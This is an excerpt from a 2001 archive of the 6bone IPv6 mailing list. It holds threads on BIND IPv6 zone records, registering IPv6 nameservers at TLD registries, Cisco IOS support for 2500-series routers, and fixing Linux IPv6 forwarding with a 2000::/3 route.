> IPv4 hosts and IPv6 hosts have the same domain or not?
You can easily have in the v6.galaxy:
8<----------------------------------------
host-one A 192.168.0.42
         AAAA 3ffe:1234:5678::xxx:xxx
         A6 mychain ::xxx:xxx
---------------------------------------->8
Which will give the host IPv4 (A) and IPv6 (AAAA and/or A6) addresses.
And wether you want to make a separate ipv6.<dom>.<tld> zone is entirely
up to you.

> The name server works well for IPv4 host and IPv6
> reverse zone, but it can't work for IPv6 forward zone.
reverse is just PTR :)

> And if I want to set a bind9 dns server authoritative
> for more than one domain, how should I do?
Make multiple zones and add those to the

> Please attach me named.conf and zone files if you have ones.
> Thanks a lot.
It's probably best if you read
http://www.crt.se/dnssec/bind9/Bv9ARM.ch04.html#AEN980 - IPv6 support in
Bind9, which also covers IPv6 on bind8 for most parts, though afaik
bind8 doesn't support all RR's.
The rest of that document (http://www.crt.se/dnssec/bind9/) will nicely
show you how the rest is done.

Greets,
 Jeroen


From 6bone-owner  Thu Nov 15 03:19:09 2001
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From: Bruce Campbell <bruce_campbell@ripe.net>
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To: "Todd T. Fries" <todd@fries.net>
cc: <ipv6@openbsd.org>, <6bone@ISI.EDU>
Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
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On Wed, 14 Nov 2001, Todd T. Fries wrote:

> It makes perfect sense to do this.  Please explain if I'm missing something,
> but the current strategy for resolving a domain is to try the first dns
> server, and if that doesn't work, the next, etc.

Network Solution's problem may very well be in their database being unable
to store anything other than an IPv4 address in the Host record at the
present time.

> will come for that, it is not yet here.  But the time has come and
> past to be able to register an ipv6 dns server.  Case in point that
> this works, ip6.int:

The nameservers for ip6.int's parent domain, 'int', are not under the
control of NSI, hence these nameservers can delegate 'ip6.int' to (at
least one) IPv6-only nameserver(s).

-- 
                             Bruce Campbell                            RIPE
                                                                        NCC
             I do not speak for my Employer                      Operations


From 6bone-owner  Thu Nov 15 05:12:13 2001
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From: "Mithrandir" <mithrandir@skynet.be>
To: <6bone@ISI.EDU>
Subject: IOS for 2500
Date: Thu, 15 Nov 2001 14:09:42 +0100
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Hello friends of the 6bone

I was browsing the Cisco site, hoping to find a IPv6 IOS release for the
2500 series router.
But that site is BIG!! I get lost in that place.

I can't get the IOS myself but a company I work with can.
So, does anyone of you know which latest IOS release I'm looking for?
It must support IPv6 ofcourse, and run on a Cisco 2514, 2505 and 2503.

If anyone knows the exact name/version of that IOS please let me know.

Thank you very much
Kind regards
Mithrandir Cielen
Fddi Institute
Belgium



From 6bone-owner  Thu Nov 15 05:59:12 2001
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Date: Thu, 15 Nov 2001 05:59:31 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:82A0::/28 allocated to INTERNET-MULTIFEED
Cc: Bill Manning <bmanning@ISI.EDU>, "Ishii, Toshinori" <ishii@mfeed.ad.jp>,
        ipv6-exp@mfeed.ad.jp
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INTERNET-MULTIFEED has been allocated pTLA 3FFE:82A0::/28 having finished 
its 2-week review period.

<http://whois.6bone.net/cgi-bin/whois?INTERNET-MULTIFEED>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Thu Nov 15 06:05:44 2001
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Date: Thu, 15 Nov 2001 14:04:31 +0000
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To: Mithrandir <mithrandir@skynet.be>
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Subject: Re: IOS for 2500
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Mithrandir wrote:
> 
> Hello friends of the 6bone
> 
> I was browsing the Cisco site, hoping to find a IPv6 IOS release for the
> 2500 series router.
> But that site is BIG!! I get lost in that place.
> 
> I can't get the IOS myself but a company I work with can.
> So, does anyone of you know which latest IOS release I'm looking for?
> It must support IPv6 ofcourse, and run on a Cisco 2514, 2505 and 2503.
> 
> If anyone knows the exact name/version of that IOS please let me know.

Questions about cisco IPv6 are best sent to ipv6-support@cisco.com ;)


One of the best tools for finding Cisco IOS images is Cisco Feature
Navigator at http://www.cisco.com/go/fn.

Select "Feature" and search for "IPv6". Next, narrow down the
possibilities by choosing your desired release, platform and feature
set.

When a list of images is displayed, you can choose a particular one and
click "All Features" to see the full feature list. Once the list is
narrowed down to a single image, you can click "Get this image" to
download the image.

Alternatively, if you like to do things the hard way but see all the
details, try our IOS Upgrade Planner at
http://www.cisco.com/go/iosplanner


Note that there are only two IPv6-enabled images available for the 2500
series (the 12.2(4)T IP-Plus and the 12.2(4)T1 IP-Plus). So while the
2500 can still be used as an experimental IPv6 box, if you're serious
about IPv6 I really recommend you upgrade to a new platform. Ultimately
we're not going to be able to fit a fully featured IPv6-enabled IOS into
the 2500.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Thu Nov 15 06:15:00 2001
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Date: Thu, 15 Nov 2001 09:15:22 -0500
From: Matthew Harrell <mharrell@bittwiddlers.com>
To: 6bone@ISI.EDU
Subject: Linux route question
Message-ID: <20011115141522.GA26874@bittwiddlers.com>
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--5vNYLRcllDrimb99
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I'm currently setting up one of the /48 networks from freenet6 and I'm having
some routing issues with my machines behind my tunnel endpoint.  

The network looks like

   192.168.10. network  <-> my ipv6 gateway <-> freenet6 ipv6 gateway

I can do everything from my gateway and from the outside I can access all
the machines on my network with ipv6 addresses.  The problem is that when
I try something like a ping from one of the internal machines I get

  {26}: ping6 -n www.kame.net
  PING www.kame.net(2001:200:0:4819:280:adff:fe71:81fc) from 3ffe:b80:411:1:250:4ff:fed6:1907 : 56 data bytes
  From 3ffe:b80:411:1::1 icmp_seq=1 Destination unreachable: Address unreachable
  From 3ffe:b80:411:1::1 icmp_seq=2 Destination unreachable: Address unreachable
  --- www.kame.net ping statistics ---
  2 packets transmitted, 0 received, +2 errors, 100% loss, time 1003ms

It actually worked at one point for a minute or two but I haven't been able
to get the behavior back again.  I can ping all local ipv6 addresses on my
gateway from one of the 192.168.10 machines but get the error above trying 
to ping anything beyond my machine.  Seems like a route issue to me but I'm
not familiar enough with ipv6 to realize what route I'm missing.  I've attached
the ifconfig and route info from my gateway below.  I would have though the
::/0 route in there would have taken care of things.

thanks for any help

-- 
  Matthew Harrell                          Programmer - a red-eyed mumbling
  Bit Twiddlers, Inc.                       mammal capable of conversing with
  mharrell@bittwiddlers.com                 inanimate objects.

--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="ifconfig.txt"

eth0      Link encap:Ethernet  HWaddr 00:60:97:B7:9F:37  
          inet addr:192.168.10.1  Bcast:192.168.10.255  Mask:255.255.255.0
          inet6 addr: 3ffe:b80:411:1::1/64 Scope:Global
          inet6 addr: fe80::260:97ff:feb7:9f37/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:97479 errors:0 dropped:0 overruns:0 frame:0
          TX packets:120586 errors:0 dropped:0 overruns:0 carrier:0
          collisions:11309 txqueuelen:100 
          RX bytes:8736899 (8.3 Mb)  TX bytes:103090225 (98.3 Mb)
          Interrupt:17 Base address:0xff00 

eth1      Link encap:Ethernet  HWaddr 00:A0:C9:55:16:AE  
          inet addr:24.7.169.75  Bcast:24.7.169.127  Mask:255.255.255.128
          inet6 addr: fe80::2a0:c9ff:fe55:16ae/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:189379 errors:0 dropped:0 overruns:0 frame:0
          TX packets:68475 errors:0 dropped:0 overruns:0 carrier:0
          collisions:1837 txqueuelen:100 
          RX bytes:39443229 (37.6 Mb)  TX bytes:10507529 (10.0 Mb)
          Interrupt:18 Base address:0xc000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:45098 errors:0 dropped:0 overruns:0 frame:0
          TX packets:45098 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:60608024 (57.8 Mb)  TX bytes:60608024 (57.8 Mb)

sit1      Link encap:IPv6-in-IPv4  
          inet6 addr: fe80::1807:a94b/10 Scope:Link
          inet6 addr: fe80::c0a8:a01/10 Scope:Link
          inet6 addr: 3ffe:b80:2:240e::2/128 Scope:Global
          UP POINTOPOINT RUNNING NOARP  MTU:1480  Metric:1
          RX packets:551 errors:0 dropped:0 overruns:0 frame:0
          TX packets:651 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:62598 (61.1 Kb)  TX bytes:85423 (83.4 Kb)


--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="routes.txt"

Kernel IPv6 routing table
Destination                                 Next Hop                                Flags Metric Ref    Use Iface
::1/128                                     ::                                      U     0      39       0 lo      
3ffe:b80:2:240e::2/128                      ::                                      U     0      12       0 lo      
3ffe:b80:411:1::1/128                       ::                                      U     0      5        0 lo      
3ffe:b80:411:1:250:4ff:fed6:1907/128        3ffe:b80:411:1:250:4ff:fed6:1907        UAC   0      113       1 eth0    
3ffe:b80:411:1::/64                         ::                                      UA    256    0        0 eth0    
3ffe:b80:411::/48                           ::                                      U     1      0        0 eth0    
fe80::1807:a94b/128                         ::                                      U     0      0        0 lo      
fe80::c0a8:a01/128                          ::                                      U     0      0        0 lo      
fe80::260:97ff:feb7:9f37/128                ::                                      U     0      68       0 lo      
fe80::2a0:c9ff:fe55:16ae/128                ::                                      U     0      8        0 lo      
fe80::/10                                   ::                                      UA    256    0        0 eth0    
fe80::/10                                   ::                                      UA    256    0        0 eth1    
fe80::/10                                   ::                                      UA    256    0        0 sit1    
ff02::1/128                                 ff02::1                                 UAC   0      4        1 eth0    
ff00::/8                                    ::                                      UA    256    0        0 eth0    
ff00::/8                                    ::                                      UA    256    0        0 eth1    
ff00::/8                                    ::                                      UA    256    0        0 sit1    
::/0                                        ::                                      U     1      0        0 sit1    

--5vNYLRcllDrimb99--

From 6bone-owner  Thu Nov 15 07:17:57 2001
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Date: Thu, 15 Nov 2001 16:18:50 +0100
From: Jean-Claude Christophe <jch@oleane.net>
To: Mithrandir <mithrandir@skynet.be>
Cc: 6bone@ISI.EDU
Subject: Re: IOS for 2500
Message-ID: <20011115161850.C24448@oleane.net>
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> I was browsing the Cisco site, hoping to find a IPv6 IOS release for the
> 2500 series router.
> But that site is BIG!! I get lost in that place.

You may be registered on the CCO to download cisco IOS. Any registered user
should know where he can download on the web site.

Regards,
-- 
Jean-Claude Christophe / jch@oleane.net

From 6bone-owner  Thu Nov 15 07:45:21 2001
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From: Matthew Harrell <mharrell@bittwiddlers.com>
To: Philip Blundell <pb@nexus.co.uk>, 6bone@ISI.EDU
Subject: Re: Linux route question
Message-ID: <20011115154538.GA28554@bittwiddlers.com>
References: <20011115141522.GA26874@bittwiddlers.com> <mharrell@bittwiddlers.com> <E164O0r-0001HK-00@mill.nexus.co.uk>
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> I don't think the Linux IPv6 code will forward packets to the default route.
> If you want your machine to act as a gateway, you need to set up (more) 
> specific routes for the destinations you want to deal with.  Try adding a 
> route for 3ffe::/16 and see if that helps at all.

Very odd.  It worked alright so far.  Is this a known thing with Linux or am
I doing something wrong?

-- 
  Matthew Harrell                          To err is human,
  Bit Twiddlers, Inc.                       to purr feline.
  mharrell@bittwiddlers.com     

From 6bone-owner  Thu Nov 15 08:49:30 2001
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Subject: Re: IOS for 2500
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I asked that in September and that was the answer from Cisco:

:: We are still working on a plan to support 12.2T on 2509/2511 platforms. 
:: There are some memory constraints that we have to resolve.  We hope to
:: have a resolution soon. 

---
Cougar

   Marko Veelma                                  Marko.Veelma@KPNQwest.ee
   KPNQwest Estonia         @ the speed          Tel. +372 626 6299
   Suur-Karja 13              of light           Fax. +372 626 6262
   10140 Tallinn                                 http://www.kpnqwest.ee/


From 6bone-owner  Thu Nov 15 08:58:51 2001
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Subject: RE: IOS for 2500
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I just checked the Cisco site.  Looks like the IOS version you want to
get your hands on is 12.2T, the page also says IPv6 is only available on
IP Plus, Enterprise, or Service Provider IOS images.  I'm not really
sure what that means.

have a look: http://www.cisco.com/warp/public/732/Tech/ipv6/index.shtml

thanks,
Chris Schuerger


-----Original Message-----
From: Mithrandir [mailto:mithrandir@skynet.be]
Sent: Thursday, November 15, 2001 8:10 AM
To: 6bone@ISI.EDU
Subject: IOS for 2500


Hello friends of the 6bone

I was browsing the Cisco site, hoping to find a IPv6 IOS release for the
2500 series router.
But that site is BIG!! I get lost in that place.

I can't get the IOS myself but a company I work with can.
So, does anyone of you know which latest IOS release I'm looking for?
It must support IPv6 ofcourse, and run on a Cisco 2514, 2505 and 2503.

If anyone knows the exact name/version of that IOS please let me know.

Thank you very much
Kind regards
Mithrandir Cielen
Fddi Institute
Belgium



From 6bone-owner  Thu Nov 15 09:04:00 2001
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Date: Thu, 15 Nov 2001 18:04:28 +0100
From: Laurent Mele <mele@cartel-info.fr>
To: Mithrandir <mithrandir@skynet.be>
Cc: 6bone@ISI.EDU
Subject: Re: IOS for 2500
Message-ID: <20011115180428.W19681@cartel-info.fr>
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Hi,

Cisco had officialy announced ipv6 with IOS 12.2.2T
The IOS you are looking for (2501-2525) platforms is : 12.2.4T1 with differents features available :
	- IP
	- IP PLUS
	- REMOTE ACCESS SERVER

But cisco does not release his IOS for free :)

When you have an access with download rights to the cisco site, you find this IOS with no problems !

According to Mithrandir:
> Hello friends of the 6bone
> 
> I was browsing the Cisco site, hoping to find a IPv6 IOS release for the
> 2500 series router.
> But that site is BIG!! I get lost in that place.
> 
> I can't get the IOS myself but a company I work with can.
> So, does anyone of you know which latest IOS release I'm looking for?
> It must support IPv6 ofcourse, and run on a Cisco 2514, 2505 and 2503.
> 
> If anyone knows the exact name/version of that IOS please let me know.
> 
> Thank you very much
> Kind regards
> Mithrandir Cielen
> Fddi Institute
> Belgium
> 

-- 
Laurent Mele -- Ingenieur Systeme et reseau
Cartel Informatique

Mom, somebody's at the door.  Coming hon!  Hey! I can't see the TV! 
 
 
 
 

From 6bone-owner  Thu Nov 15 09:08:17 2001
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Date: Thu, 15 Nov 2001 09:08:25 -0800
From: Andreas Ott <andreas@corp.home.net>
To: Mithrandir <mithrandir@skynet.be>
Cc: 6bone@ISI.EDU
Subject: Re: IOS for 2500
Message-ID: <20011115090825.B7609@bear.eos.home.net>
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Hi,
On Thu, Nov 15, 2001 at 02:09:42PM +0100, Mithrandir wrote:
> I was browsing the Cisco site, hoping to find a IPv6 IOS release for the
> 2500 series router.
...
> I can't get the IOS myself but a company I work with can.
> So, does anyone of you know which latest IOS release I'm looking for?
> It must support IPv6 ofcourse, and run on a Cisco 2514, 2505 and 2503.

You (theoretically) need a support login to get updates of IOS. Once you 
are logged in the web pages change their appearance, then go to 
http://www.cisco.com/kobayashi/sw-center/sw-ios.shtml

And you need to know how much RAM you have in your 2500, this is the gating 
factor for what release/features you are able to run. I pretty much settled 
for a very early reelase as my 2514 has only 4MB (I really only need to do 
static routes), I can't run any of the 12.1/12.2 train images, they are 
hungry for much more memory even with the limited IP feature set.

-andreas
-- 
Andreas Ott                                        andreas@excitehome.net
Network Architect  @Home Network               http://www.excitehome.net/
Excite@Home        450 Broadway Street  Redwood City, CA  94063-3132  USA
phone +1 (650) 556-5460   fax +1 (650) 569-5856   pager +1 (650) 524-8073

From 6bone-owner  Thu Nov 15 09:11:14 2001
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Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
To: bruce_campbell@ripe.net (Bruce Campbell)
Date: Thu, 15 Nov 2001 09:11:34 -0800 (PST)
Cc: todd@fries.net (Todd T. Fries), ipv6@openbsd.org, 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.4.31.0111151156430.30058-100000@x22.ripe.net> from "Bruce Campbell" at Nov 15, 2001 12:19:16 PM
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% > will come for that, it is not yet here.  But the time has come and
% > past to be able to register an ipv6 dns server.  Case in point that
% > this works, ip6.int:
% 
% The nameservers for ip6.int's parent domain, 'int', are not under the
% control of NSI, hence these nameservers can delegate 'ip6.int' to (at
% least one) IPv6-only nameserver(s).
% 
% -- 

	It is true that INT did allow IPv6 nameservers to be entered.
	IP6.INT will allow IPv6 nameservers.  I understand that some
	TLD nics will allow IPv6 servers to be entered, JP comes to
	mind.  

-- 
--bill

From 6bone-owner  Thu Nov 15 09:36:28 2001
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	Thu, 15 Nov 2001 11:30:54 -0600 (CST)
Date: Thu, 15 Nov 2001 11:30:54 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: ipv6@openbsd.org, 6bone@ISI.EDU
Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
Message-ID: <20011115113054.W30841@eclipse.fries.net>
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What would be the most productive course to ask/suggest/pursuade all tld's
to allow ipv6 domain name servers?  I presume this is a goal of ipv6
deployment initiatives somewhere, if only by inference.  I personally
am not a fan of political processes and agendas.  But I get the distinct
impression that to get ipv6 in tld's globally, it will take some polticking.

Any action/inaction items anyone knows about?

Penned by Bill Manning on Thu, Nov 15, 2001 at 09:11:34AM -0800, we have:
| % > will come for that, it is not yet here.  But the time has come and
| % > past to be able to register an ipv6 dns server.  Case in point that
| % > this works, ip6.int:
| % 
| % The nameservers for ip6.int's parent domain, 'int', are not under the
| % control of NSI, hence these nameservers can delegate 'ip6.int' to (at
| % least one) IPv6-only nameserver(s).
| % 
| % -- 
| 
| 	It is true that INT did allow IPv6 nameservers to be entered.
| 	IP6.INT will allow IPv6 nameservers.  I understand that some
| 	TLD nics will allow IPv6 servers to be entered, JP comes to
| 	mind.  
| 
| -- 
| --bill

-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Thu Nov 15 09:57:32 2001
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Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
To: todd@fries.net (Todd T. Fries)
Date: Thu, 15 Nov 2001 09:57:52 -0800 (PST)
Cc: bmanning@ISI.EDU (Bill Manning), ipv6@openbsd.org, 6bone@ISI.EDU
In-Reply-To: <20011115113054.W30841@eclipse.fries.net> from "Todd T. Fries" at Nov 15, 2001 11:30:54 AM
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 based on a brief mtg @ IETF last year, a few of the registries, including
 NSI indicated that they had support for registration of IPv6 "hosts"
 as nameservers in the planning process. For some, this winodw is short,
 for others, there are longer term implications for adding this change.



% 
% What would be the most productive course to ask/suggest/pursuade all tld's
% to allow ipv6 domain name servers?  I presume this is a goal of ipv6
% deployment initiatives somewhere, if only by inference.  I personally
% am not a fan of political processes and agendas.  But I get the distinct
% impression that to get ipv6 in tld's globally, it will take some polticking.
% 
% Any action/inaction items anyone knows about?
% 
% Penned by Bill Manning on Thu, Nov 15, 2001 at 09:11:34AM -0800, we have:
% | % > will come for that, it is not yet here.  But the time has come and
% | % > past to be able to register an ipv6 dns server.  Case in point that
% | % > this works, ip6.int:
% | % 
% | % The nameservers for ip6.int's parent domain, 'int', are not under the
% | % control of NSI, hence these nameservers can delegate 'ip6.int' to (at
% | % least one) IPv6-only nameserver(s).
% | % 
% | % -- 
% | 
% | 	It is true that INT did allow IPv6 nameservers to be entered.
% | 	IP6.INT will allow IPv6 nameservers.  I understand that some
% | 	TLD nics will allow IPv6 servers to be entered, JP comes to
% | 	mind.  
% | 
% | -- 
% | --bill
% 
% -- 
% Todd Fries .. todd@fries.net
% 


-- 
--bill

From 6bone-owner  Thu Nov 15 10:19:05 2001
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To: Marko Veelma <cougar@kpnqwest.ee>
From: Patrick Grossetete <pgrosset@cisco.com>
Subject: Re: IOS for 2500
Cc: Mithrandir <mithrandir@skynet.be>, <6bone@ISI.EDU>
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         It is now officially supported on Cisco IOS 12.2(4)T IP Plus 
image, available on CCO.

Regards
Patrick

At 06:49 PM 15-11-01 +0200, Marko Veelma wrote:

>I asked that in September and that was the answer from Cisco:
>
>:: We are still working on a plan to support 12.2T on 2509/2511 platforms.
>:: There are some memory constraints that we have to resolve.  We hope to
>:: have a resolution soon.
>
>---
>Cougar
>
>    Marko Veelma                                  Marko.Veelma@KPNQwest.ee
>    KPNQwest Estonia         @ the speed          Tel. +372 626 6299
>    Suur-Karja 13              of light           Fax. +372 626 6262
>    10140 Tallinn                                 http://www.kpnqwest.ee/

____________________________________________
Patrick Grossetete
Cisco Systems
Internet Technology Division (ITD) - Product Manager
			
Phone/Vmail: 33.1.58.04.61.52	
Fax: 33.1.58.04.61.00	
mobile: 33.6.89.10.81.28	
Email:pgrosset@cisco.com	
11 Rue Camille Desmoulins
92782 Issy les Moulineaux Cedex 9
France
____________________________________________


From 6bone-owner  Thu Nov 15 10:31:06 2001
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Date: Thu, 15 Nov 2001 15:31:24 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: Matthew Harrell <mharrell@bittwiddlers.com>
cc: <6bone@ISI.EDU>
Subject: Re: Linux route question
In-Reply-To: <20011115141522.GA26874@bittwiddlers.com>
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Matthew,

just add a route to 2000::/3 pointing thru your sit device in your
gateway.  That will fix it. Linux doesn't like default routes in IPv6,
that's all.

/sbin/ip route add 2000::/3 dev sitX

(where X is the number for your tunnel)

Regards,

Flavio.

On Thu, 15 Nov 2001, Matthew Harrell wrote:

> 
> I'm currently setting up one of the /48 networks from freenet6 and I'm having
> some routing issues with my machines behind my tunnel endpoint.  
> 
> The network looks like
> 
>    192.168.10. network  <-> my ipv6 gateway <-> freenet6 ipv6 gateway
> 
> I can do everything from my gateway and from the outside I can access all
> the machines on my network with ipv6 addresses.  The problem is that when
> I try something like a ping from one of the internal machines I get
> 
>   {26}: ping6 -n www.kame.net
>   PING www.kame.net(2001:200:0:4819:280:adff:fe71:81fc) from 3ffe:b80:411:1:250:4ff:fed6:1907 : 56 data bytes
>   From 3ffe:b80:411:1::1 icmp_seq=1 Destination unreachable: Address unreachable
>   From 3ffe:b80:411:1::1 icmp_seq=2 Destination unreachable: Address unreachable
>   --- www.kame.net ping statistics ---
>   2 packets transmitted, 0 received, +2 errors, 100% loss, time 1003ms
> 
> It actually worked at one point for a minute or two but I haven't been able
> to get the behavior back again.  I can ping all local ipv6 addresses on my
> gateway from one of the 192.168.10 machines but get the error above trying 
> to ping anything beyond my machine.  Seems like a route issue to me but I'm
> not familiar enough with ipv6 to realize what route I'm missing.  I've attached
> the ifconfig and route info from my gateway below.  I would have though the
> ::/0 route in there would have taken care of things.
> 
> thanks for any help
> 
> 


From 6bone-owner  Thu Nov 15 11:18:31 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Matthew Harrell <mharrell@bittwiddlers.com>
cc: Philip Blundell <pb@nexus.co.uk>, <6bone@ISI.EDU>
Subject: Re: Linux route question
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On Thu, 15 Nov 2001, Matthew Harrell wrote:
> > I don't think the Linux IPv6 code will forward packets to the default route.
> > If you want your machine to act as a gateway, you need to set up (more) 
> > specific routes for the destinations you want to deal with.  Try adding a 
> > route for 3ffe::/16 and see if that helps at all.
> 
> Very odd.  It worked alright so far.  Is this a known thing with Linux or am
> I doing something wrong?

Known issue.  Default route was designed not to work for forwarded 
packets.  I suggest using 2000::/3 for now, that includes 3ffe::/16.

This may be changed in the future.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Nov 15 11:22:07 2001
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To: Andreas Ott <andreas@corp.home.net>
cc: Mithrandir <mithrandir@skynet.be>, <6bone@ISI.EDU>
Subject: Re: IOS for 2500
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How about just for tesing - ie a couple rip routes - and using v6telnet
from router to router??? Will the image boot and be functional - just not
ready for anything but a lab??

-kirk

On Thu, 15 Nov 2001, Andreas Ott wrote:

> Hi,
> On Thu, Nov 15, 2001 at 02:09:42PM +0100, Mithrandir wrote:
> > I was browsing the Cisco site, hoping to find a IPv6 IOS release for the
> > 2500 series router.
> ...
> > I can't get the IOS myself but a company I work with can.
> > So, does anyone of you know which latest IOS release I'm looking for?
> > It must support IPv6 ofcourse, and run on a Cisco 2514, 2505 and 2503.
>
> You (theoretically) need a support login to get updates of IOS. Once you
> are logged in the web pages change their appearance, then go to
> http://www.cisco.com/kobayashi/sw-center/sw-ios.shtml
>
> And you need to know how much RAM you have in your 2500, this is the gating
> factor for what release/features you are able to run. I pretty much settled
> for a very early reelase as my 2514 has only 4MB (I really only need to do
> static routes), I can't run any of the 12.1/12.2 train images, they are
> hungry for much more memory even with the limited IP feature set.
>
> -andreas
>


From 6bone-owner  Thu Nov 15 11:41:16 2001
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From: Flavio Villanustre <lists@geminis.myip.org>
To: Matthew Harrell <mharrell@bittwiddlers.com>
cc: <6bone@ISI.EDU>
Subject: Re: Linux route question
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On Thu, 15 Nov 2001, Matthew Harrell wrote:

> Can I ask a quick routing question of you?  Does the 2000::/3 work because
> you're matching traffic that starts with 001 (in binary)?  Are there any

yes, it matchs whatever that starts with binary 001.

> destinations outside of 001 that I would currently have to worry about?  I'm
> only just getting into this so I'm not very familiar with the network 
> designations.

None, AFAIK.

from pTLA formats document:

The original TLA and NLA ID-s as specified in [AGGR] are as follows:
         | 3 |  13 |          32         |   16   |    64 bits      |
         +---+-----+---------------------+--------+-----------------+
         |001| TLA |       NLA ID        | SLA ID | Interface ID    |
         +---+-----+---------------------+--------+-----------------+

...
Additionally:

Therefore, the first 12-bits of the NLA ID space are assigned as the pTLA 
that defines the top level of aggegation (backbone) for the 6bone. This 
would eventually provide for 4096 6bone backbone networks, or pTLA-s, and 
leaves a 20-bit pNLA ID for each pTLA to assign as needed.
         |     16    |   12  |   20      |   16   |    64 bits      |
         +-+---------+-------+-----------+--------+-----------------+
         |  0x3FFE   | pTLA  |   pNLA    | SLA ID | Interface ID    |
         +-+---------+-------+-----------+--------+-----------------+


Sample IPv6 address:

        3FFE:8000:0001/48
 6bone _|||| |||| ||||___site
             |||| |
 b/b site____|||| |
                | |
 transit________|_|


Regards,

Flavio.


From 6bone-owner  Thu Nov 15 12:02:55 2001
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Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
To: todd@fries.net (Todd T. Fries)
Date: Thu, 15 Nov 2001 12:03:23 -0800 (PST)
Cc: bmanning@ISI.EDU (Bill Manning), ipv6@openbsd.org, 6bone@ISI.EDU
In-Reply-To: <20011115113054.W30841@eclipse.fries.net> from "Todd T. Fries" at Nov 15, 2001 11:30:54 AM
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 Well, I've been gently hounding folk for a little while and have been
 doing impromptu surveys.  If folks think it would be productive, I'll
 be a bit more proactive and start publishing results.  Interest?
	---------------------------------------------------------


% 
% What would be the most productive course to ask/suggest/pursuade all tld's
% to allow ipv6 domain name servers?  I presume this is a goal of ipv6
% deployment initiatives somewhere, if only by inference.  I personally
% am not a fan of political processes and agendas.  But I get the distinct
% impression that to get ipv6 in tld's globally, it will take some polticking.
% 
% Any action/inaction items anyone knows about?
% 
% Penned by Bill Manning on Thu, Nov 15, 2001 at 09:11:34AM -0800, we have:
% | % > will come for that, it is not yet here.  But the time has come and
% | % > past to be able to register an ipv6 dns server.  Case in point that
% | % > this works, ip6.int:
% | % 
% | % The nameservers for ip6.int's parent domain, 'int', are not under the
% | % control of NSI, hence these nameservers can delegate 'ip6.int' to (at
% | % least one) IPv6-only nameserver(s).
% | % 
% | % -- 
% | 
% | 	It is true that INT did allow IPv6 nameservers to be entered.
% | 	IP6.INT will allow IPv6 nameservers.  I understand that some
% | 	TLD nics will allow IPv6 servers to be entered, JP comes to
% | 	mind.  
% | 
% | -- 
% | --bill
% 
% -- 
% Todd Fries .. todd@fries.net
% 


-- 
--bill

From 6bone-owner  Thu Nov 15 12:31:32 2001
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Date: Thu, 15 Nov 2001 20:30:24 +0000
From: Paul Aitken <paitken@cisco.com>
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Thanks to everyone for their input on the 2500 issue. There are several
points I'd like to follow up.


Marko Veelma wrote:
> 
> I asked that in September and that was the answer from Cisco:
> 
> :: We are still working on a plan to support 12.2T on 2509/2511 platforms.
> :: There are some memory constraints that we have to resolve.  We hope to
> :: have a resolution soon.

Some of the 12.2(2)T images were too big for the 2500 platform, so none
were released while we considered what to do. Most of the 12.2(4)T
images are also too big, but realising how popular this platform is for
experimenting with IPv6, we managed to release the IP PLUS image. This
is great if you're just learning about IPv6, but if you're serious about
IPv6 you should upgrade your hardware ;)


chris schuerger wrote:
> 
> I just checked the Cisco site.  Looks like the IOS version you want to
> get your hands on is 12.2T,

IPv6 was introduced in 12.2(2)T, so you need a version not older than
that - which for now means 12.2(2)T, 12.2(2)T1, 12.2(4)T or 12.2(4)T1.


> the page also says IPv6 is only available on
> IP Plus, Enterprise, or Service Provider IOS images.  I'm not really
> sure what that means.

It means that not all images include IPv6 functionality. If you use the
Cisco IOS Upgrade Planner at http://www.cisco.com/go/iosplanner, you'll
see all possible images including those with IPv6 support and those
without. On the other hand, if you use Cisco Feature Navigator at
http://www.cisco.com/go/fn and search for "IPv6", you'll only be shown
images that include IPv6 support.


> have a look: http://www.cisco.com/warp/public/732/Tech/ipv6/index.shtml

Or more memorably, http://www.cisco.com/ipv6
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Thu Nov 15 13:14:06 2001
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Date: Thu, 15 Nov 2001 15:08:24 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: "Todd T. Fries" <todd@fries.net>, ipv6@openbsd.org, 6bone@ISI.EDU
Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
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By all means.  In my understanding, anything that would help get ipv6
deployed would help get ipv6 deployed.

Penned by Bill Manning on Thu, Nov 15, 2001 at 12:03:23PM -0800, we have:
|  Well, I've been gently hounding folk for a little while and have been
